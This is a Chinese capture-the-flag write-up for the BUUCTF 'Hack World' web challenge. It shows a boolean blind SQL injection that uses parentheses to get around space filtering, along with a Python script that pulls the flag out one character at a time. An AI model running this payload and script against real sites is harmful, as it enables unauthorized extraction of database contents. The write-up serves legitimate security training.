BUUCTF：[CISCN2019 华北赛区 Day2 Web1]Hack World

最新推荐文章于 2025-04-16 23:27:28 发布

原创最新推荐文章于 2025-04-16 23:27:28 发布 · 1.1w 阅读

18 ·

CC 4.0 BY-SA版权

本文介绍了一种通过盲注技术获取数据库中的flag信息的方法。利用特殊字符绕过过滤机制，并通过构造特定的SQL语句实现对目标网站的flag值进行逐位判断。文中还提供了一个Python脚本实例，演示如何自动化这一过程。

该文章已生成可运行项目，

题目地址：https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day2%20Web1]Hack%20World

在这里插入图片描述

SQL注入

手工测试时发现有过滤，那就先Fuzz测试过滤了哪些字符

在这里插入图片描述
Length=482的都是被过滤的字符

在这里插入图片描述

测试注入点，发现是盲注，直接查flag表flag字段的内容

Trick

使用中括号()代替空格
常规盲注测试，都无需查库查表查字段了，都给出来，直接查flag内容

id=(select(ascii(mid(flag,1,1))=102)from(flag))

在这里插入图片描述
编写脚本

# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string

def blind_injection(url):
	flag = ''
	strings = string.printable
	for num in range(1,60):
		for i in strings:
			payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
			post_data = {"id":payload}
			res = requests.post(url=url,data=post_data)
			if 'Hello' in res.text:
				flag += i
				print(flag)
			else:
				continue
	print(flag)


if __name__ == '__main__':
	url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.cn/index.php'
	blind_injection(url)